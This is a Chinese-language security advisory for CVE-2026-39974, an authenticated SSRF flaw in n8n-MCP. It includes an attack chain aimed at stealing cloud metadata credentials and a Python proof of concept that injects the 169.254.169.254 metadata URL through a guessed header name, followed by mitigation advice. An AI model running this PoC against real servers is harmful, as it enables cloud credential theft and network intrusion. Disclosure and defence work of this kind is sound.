IPBUF安全漏洞报告
English
CVE-2026-39974 CVSS 8.5 高危

CVE-2026-39974 n8n-MCP 服务端请求伪造漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39974
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n-MCP

相关标签

SSRFn8n-mcp信息泄露云安全CVSS-8.5

漏洞概述

n8n-MCP在2.47.4之前版本存在认证后的服务端请求伪造(SSRF)漏洞。攻击者利用有效令牌,通过构造恶意的多租户HTTP头,可诱导服务器向任意URL发起HTTP请求。由于服务端会将响应内容通过JSON-RPC反射回调用者,攻击者借此可读取云实例元数据或内网服务信息,导致敏感数据泄露。

技术细节

该漏洞的核心在于n8n-MCP在处理多租户HTTP部署请求时,未能正确验证通过HTTP头传入的URL参数。在受影响的版本中,系统信任持有有效AUTH_TOKEN的客户端传入的特定多租户HTTP头。攻击者只需拥有一个令牌,即可构造恶意请求,将目标URL(例如云实例元数据端点 http://169.254.169.254/latest/meta-data/)注入到请求头中。服务器进程随后代替攻击者向该内网或公网URL发起HTTP请求,并将获取的响应体通过JSON-RPC协议直接反射回客户端。这种机制使得攻击者能够利用服务器的网络身份,绕过防火墙限制,探测内网拓扑,窃取云服务凭证或敏感文件数据。

攻击链分析

STEP 1
侦察与认证获取
攻击者识别目标为n8n-MCP服务,并获取一个有效的AUTH_TOKEN(可能通过权限滥用或配置不当泄露)。
STEP 2
构造恶意请求
攻击者向服务器发送JSON-RPC请求,在多租户HTTP头中注入内网敏感资源的URL(如云元数据服务)。
STEP 3
服务端请求转发
n8n-MCP服务器解析请求头,并以服务端的身份向攻击者指定的内网URL发起HTTP请求。
STEP 4
数据回传与利用
服务器将HTTP响应体封装在JSON-RPC响应中返回给攻击者。攻击者解析响应,获取敏感信息(如AWS临时凭证),进而接管云资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration target_host = "http://vulnerable-n8n-mcp-instance:port" auth_token = "VALID_AUTH_TOKEN_HERE" # Internal target to fetch (e.g., AWS IMDSv2 Token) ssrf_target = "http://169.254.169.254/latest/api/token" # Headers simulating the multi-tenant HTTP request headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", # The specific header name depends on implementation, assuming 'X-Multi-Tenant-Url' "X-Multi-Tenant-Url": ssrf_target } # JSON-RPC Payload structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "read_documentation" }, "id": 1 } try: print(f"[*] Sending SSRF request to {target_host}...") response = requests.post(target_host, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Request successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

n8n-mcp < 2.47.4

防御指南

临时缓解措施
对于无法立即升级的环境,建议在网络层面实施严格的出站访问控制(Egress Filtering),阻断服务器对云元数据服务(169.254.169.254)及非业务内网段的访问。同时,应立即轮换所有可能泄露的AUTH_TOKEN,并审查多租户配置,确保仅受信任的客户端能够连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表